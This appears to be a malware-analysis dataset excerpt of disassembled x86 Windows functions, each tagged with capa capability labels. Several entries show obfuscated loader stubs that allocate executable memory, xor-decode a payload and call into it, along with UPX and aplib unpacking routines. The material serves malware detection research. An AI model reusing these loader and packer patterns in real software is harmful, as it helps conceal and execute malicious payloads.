joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a6a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10011dac], 0
push esi
push edi
jne 0x1000a61a
call fcn.1000a586
test eax, eax
je 0x1000a65f
mov eax, dword [0x10011dac]
cmp eax, 1
jne 0x1000a63b
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x1000a65f
jmp 0x1000a6a1
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x1000a6a1
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000a663
xor eax, eax
jmp 0x1000a6a1
mov eax, dword [esi]
push dword [0x10011dac]
call edi
mov edi, eax
test edi, edi
je 0x1000a685
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x1000a6a1
lea edi, [esi + 0xff0]
push esi
push dword [0x10011dac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1000a68b
mov eax, esi
pop edi
pop esi
ret
jmp 0x1000a606

Function at 0x1000a812
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10011c4c]
jne 0x1000a81c
repz ret
jmp fcn.1000b021

Function at 0x1000acde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000aced
pop dword [ebp - 0x14]
mov eax, 0x484bc49a
sub eax, 0x384b17ad
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x377e3
push 0
mov eax, 0xca9a7152
add eax, 0x45664fbe
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x156ea62e
sub ecx, 0x156e5cff
xor edi, edi
add edi, eax
mov ebx, 0x3bc4b927
sub ebx, 0x2bc2f327
add ebx, dword [ebp - 0x14]
mov esi, 0xf4586ea8
sub esi, 0xbade01cd
sub dword [ebp - 0x10], edi
mov edx, dword [ebx]
xor dword [ebp - 4], eax
xor edx, esi
sub dword [ebp - 0x10], 0x1bd78f5c
mov dword [edi], edx
mov dword [ebp - 8], 0xd8b61dcc
add edi, 4
add ebx, 0xef4a6446
sub ebx, 0xef4a6442
loop 0x1000ad4e
add eax, 0x1178f
xor ebx, ebx
add ebx, eax
add eax, 0x3b31e61
add eax, 0xfc4ce1a4
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0xbd64a04
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x78214ab0
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
mov ecx, 0x7b4c472d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0xd570276
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0xabe058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00abe1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xabe07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xabe06a
add dl, dl
jne 0xabe089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xabe0dc
xor eax, eax
add dl, dl
jne 0xabe096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xabe17d
add dl, dl
jne 0xabe0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xabe0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xabe0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xabe0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xabe0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xabe075
mov eax, 1
add dl, dl
jne 0xabe0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xabe0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xabe0e1
sub eax, ebx
mov ebx, 1
jne 0xabe128
mov ecx, 1
add dl, dl
jne 0xabe10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xabe119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xabe105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xabe075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xabe13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xabe14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xabe136
cmp eax, 0x7d00
jae 0xabe16d
cmp eax, 0x500
jb 0xabe168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xabe075
cmp eax, 0x7f
ja 0xabe170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xabe075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xabe19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xabe075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4049b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4049bf
pop dword [ebp - 0x50]
mov eax, 0x2350ede
sub eax, 0x1f4c51f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xfab687aa
sub dword [ebp - 0x60], 0xac64425f
mov dword [ebp - 0x5c], 0x5d7c0dcb
sub dword [ebp - 0x5c], 0x2b48c186
mov dword [ebp - 0x58], 0x9acd99e3
add dword [ebp - 0x58], 0xb17eaa4b
mov dword [ebp - 0x54], 0x2250e15b
sub dword [ebp - 0x54], 0x2250e15b
lea eax, [ebp - 0x60]
push eax
mov eax, 0x7f7ca685
add eax, 0x80c4a9fb
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xbdb30b82
add dword [ebp - 0x60], 0xb6bf5dd4
mov dword [ebp - 0x5c], 0x26e6173e
sub dword [ebp - 0x5c], 0xe579b5c9
mov dword [ebp - 0x58], 0x5ca4d5fa
sub dword [ebp - 0x58], 0xf935698e
mov dword [ebp - 0x54], 0x9709fc12
add dword [ebp - 0x54], 0x68f603ee
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3af25
push 0
call eax
mov ecx, 0x8c618810
add ecx, 0x739ec283
xor edx, edx
add edx, eax
mov ebx, 0x9721558b
add ebx, 0x69209e75
add ebx, dword [ebp - 0x50]
mov esi, 0xc6b5a57d
mov edi, dword [ebx]
xor dword [ebp - 0x4c], 0x367ebe8a
xor edi, esi
add dword [ebp - 0x1c], 0xeaf77436
mov dword [edx], edi
mov dword [ebp - 0x30], 0xcb2f7fc9
add edx, 4
add ebx, 0x4684c349
sub ebx, 0x4684c345
loop 0x404ad8
add eax, 0x11d1f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40560d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40561c
pop dword [ebp - 0x30]
mov eax, 0xa549ee75
sub eax, 0xa5099859
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xec4ef5d5
add dword [ebp - 0x40], 0x62034f76
mov dword [ebp - 0x3c], 0x276a4b4e
sub dword [ebp - 0x3c], 0xf536ff09
mov dword [ebp - 0x38], 0x9161fee2
add dword [ebp - 0x38], 0xbaea454c
mov dword [ebp - 0x34], 0x93c8dc00
add dword [ebp - 0x34], 0x6c372400
lea eax, [ebp - 0x40]
push eax
mov eax, 0x1896dbbc
sub eax, 0x18560b68
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x1fb601bf
sub dword [ebp - 0x40], 0xab439869
mov dword [ebp - 0x3c], 0x8537c79e
add dword [ebp - 0x3c], 0xbc3499d7
mov dword [ebp - 0x38], 0x77d86a2e
add dword [ebp - 0x38], 0xeb97023e
mov dword [ebp - 0x34], 0x6b574c2e
add dword [ebp - 0x34], 0x94a8b3d2
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x39503
push 0
call eax
mov ecx, 0x472d
mov edx, eax
mov esi, 0xf2fb13df
add esi, 0xd469c21
add esi, dword [ebp - 0x30]
mov ebx, 0x7bc2e8a1
sub ebx, 0x45d1f70b
sub dword [ebp - 0xc], 0x6a45a45
mov edi, dword [esi]
sub dword [ebp - 4], ebx
xor edi, ebx
xor dword [ebp - 0x2c], ecx
mov dword [edx], edi
sub dword [ebp - 8], 0x24742033
add edx, 4
add esi, 4
loop 0x405733
add eax, 0x1ac79bba
add eax, 0xe53973cd
mov ebx, eax
add eax, 5
mov ecx, 0x57f754d1
add ecx, 0xa848ab2f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x41fd10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
or ebp, 0xffffffff
jmp 0x41fd32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41fd39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41fd28
mov eax, 1
add ebx, ebx
jne 0x41fd4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41fd40
jne 0x41fd5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41fd40
xor ecx, ecx
sub eax, 3
jb 0x41fd70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41fde2
mov ebp, eax
add ebx, ebx
jne 0x41fd7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41fd88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41fdac
inc ecx
add ebx, ebx
jne 0x41fd98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41fd8d
jne 0x41fda9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41fd8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41fdcc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41fdbd
jmp 0x41fd2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41fdcc
add edi, ecx
jmp 0x41fd2e
pop esi
mov edi, esi
mov ecx, 0x1a3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41fdea
cmp byte [edi], 3
jne 0x41fdea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41fdef
lea edi, [esi + 0x1d000]
mov eax, dword [edi]
or eax, eax
je 0x41fe67
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2064c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x20688]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41fe1c
mov ecx, edi
jns 0x41fe4b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2068c]
or eax, eax
je 0x41fe61
mov dword [ebx], eax
add ebx, 4
jmp 0x41fe39
call dword [esi + 0x20690]
popal
jmp 0x40215c

Function at 0x438cb2
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x438a14
sub edx, 1
and ecx, ecx
call fcn.00438d00
and edx, ecx
sub ecx, 0x10be0552
xor dword [eax], ebx
dec edx
add edx, ecx
or ecx, ecx
inc eax
push ecx
pop ecx
add edx, 0x17a2ef1b
sub edx, 1
cmp eax, esi
jne fcn.00438cb2
sub ecx, 0xd6c0c27c
push 0x94232b3c
pop ecx
ret
Function at 0x100017c1
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push edi
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000185c
push str.jvm.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100017f3
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor eax, eax
jmp 0x1000185e
push esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.JVM_DTraceGetVersion
push ebx
call esi
push str.JVM_DTraceIsSupported
push ebx
mov dword [edi], eax
call esi
push str.JVM_DTraceActivate
push ebx
mov dword [edi + 4], eax
call esi
push str.JVM_DTraceDispose
push ebx
mov dword [edi + 8], eax
call esi
push str.JVM_DTraceIsProbeEnabled
push ebx
mov dword [edi + 0xc], eax
call esi
push ebx
mov dword [edi + 0x10], eax
call dword [sym.imp.kernel32.dll_FreeLibrary]
xor esi, esi
cmp dword [edi], esi
je 0x10001851
cmp dword [edi + 4], esi
je 0x10001851
cmp dword [edi + 8], esi
je 0x10001851
cmp dword [edi + 0xc], esi
je 0x10001851
cmp dword [edi + 0x10], esi
jne 0x1000185b
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, esi
pop esi
mov eax, edi
pop edi
pop ebx
ret

Function at 0x100022cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x100022de
pop dword [ebp - 0x50]
mov eax, 0xae367fbd
sub eax, 0x9e365cdf
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x18086e41
add dword [ebp - 0x60], 0x3649d70a
mov dword [ebp - 0x5c], 0xcfe9aa02
add dword [ebp - 0x5c], 0x6249a243
mov dword [ebp - 0x58], 0x9ce70dd7
sub dword [ebp - 0x58], 0x509ac9a9
mov dword [ebp - 0x54], 0xd2e04eaa
sub dword [ebp - 0x54], 0xd2e04eaa
lea eax, [ebp - 0x60]
push eax
mov eax, 0x13f41437
sub eax, 0x3f3e433
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8311e5be
add dword [ebp - 0x60], 0xf1608398
mov dword [ebp - 0x5c], 0xe8f8821f
add dword [ebp - 0x5c], 0x5873df56
mov dword [ebp - 0x58], 0xba2e6c24
sub dword [ebp - 0x58], 0x56beffb8
mov dword [ebp - 0x54], 0xbb5111f9
add dword [ebp - 0x54], 0x44aeee07
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36b5e
push 0
call eax
mov ecx, 0x46f94641
sub ecx, 0x46f8fd5c
xor edx, edx
add edx, eax
mov ebx, 0x10006200
add ebx, dword [ebp - 0x50]
mov esi, 0x5dd5411e
sub esi, 0x32ad759d
xor dword [ebp - 0x2c], ecx
mov edi, dword [ebx]
sub dword [ebp - 0x34], 0xdf53a8c
add edi, esi
mov dword [edx], edi
xor dword [ebp - 0x3c], 0xfe6d6252
add edx, 0xccbb356e
add edx, 0x3344ca96
add ebx, 0x5e6b6ac9
sub ebx, 0x5e6b6ac5
loop 0x100023f7
add eax, 0xabf2bc19
sub eax, 0xabf1a5b2
mov ebx, eax
add eax, 0x3482b17
add eax, 0xfcb7d4ee
mov ecx, 0x6cc9cf3
add ecx, 0x933630d
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x4013dc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
cmp dword [0x4406bb8], 0x594
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x2c], esi
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov dword [ebp - 0x10], ebx
jne 0x401412
push 0
lea eax, [ebp - 0x44c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [str._v__q]
lea ecx, [ebp - 4]
and dword [ebp - 4], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x4192fc]
mov dword [ebp - 0x18], 0x9e3779b9
mov dword [ebp - 0x28], eax
call fcn.004013d2
mov ecx, dword [0x419300]
mov eax, dword [0x419304]
add dword [ebp - 4], 0x23f
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, ebx
mov edx, 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x4406bb8], 0xfa9
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov eax, dword [0x4406bb4]
cmove eax, edx
xor edx, edx
cmp dword [0x4406bb8], 0x3eb
mov dword [0x4406bb4], eax
mov eax, dword [0x4402fbc]
cmove eax, edx
add ecx, ebx
mov dword [0x4402fbc], eax
mov eax, dword [ebp - 0x10]
shr eax, 5
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
xor ebx, ebx
mov eax, dword [ebp - 8]
xor edx, ecx
add eax, dword [ebp - 0x1c]
mov ecx, dword [0x4406bb8]
xor eax, edx
mov dword [0x4406bb0], 0xf4ea3dee
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
cmp ecx, 0x213
jne 0x401546
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push ebx
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea eax, [ebp - 0xc4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
lea eax, [ebp - 0x44c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov eax, dword [ebp - 8]
mov ecx, dword [0x4406bb8]
sub edi, eax
cmp ecx, 0xc
jne 0x401554
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, edi
shl eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x14]
mov eax, edi
mov edx, dword [ebp - 4]
shr eax, cl
add edx, edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0xc]
xor edx, eax
mov dword [ebp - 0xc], edx
call fcn.004013d9
mov eax, dword [ebp - 0x18]
sub dword [ebp - 4], eax
dec esi
je 0x4015a0
mov ebx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
jmp 0x401450
mov esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov dword [esi + 4], edi
pop edi
mov dword [esi], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d75d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4187a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408e07
mov dword [ebp - 0x14], eax
cmp dword [0x8179d8], esi
jne 0x40d850
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d7dd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d930
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d930
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d930
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x8179d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x8179dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x8179e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8179e8], eax
test eax, eax
je 0x40d84d
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x8179e4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d875
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d868
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d88a
push 4
pop eax
jmp 0x40d932
cmp dword [ebp - 0x14], esi
je 0x40d88a
push dword [0x8179d8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d86f
mov eax, dword [0x8179e4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d8e8
cmp dword [0x8179e8], edi
je 0x40d8e8
push eax
call ebx
push dword [0x8179e8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d8e8
test eax, eax
je 0x40d8e8
call ecx
test eax, eax
je 0x40d8dd
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d8dd
test byte [ebp - 8], 1
jne 0x40d8e8
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d918
mov eax, dword [0x8179dc]
cmp eax, edi
je 0x40d915
push eax
call ebx
test eax, eax
je 0x40d915
call eax
mov esi, eax
test esi, esi
je 0x40d915
mov eax, dword [0x8179e0]
cmp eax, edi
je 0x40d915
push eax
call ebx
test eax, eax
je 0x40d915
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x8179d8]
call ebx
test eax, eax
je 0x40d930
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d932
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041de
mov esp, ebp
pop ebp
ret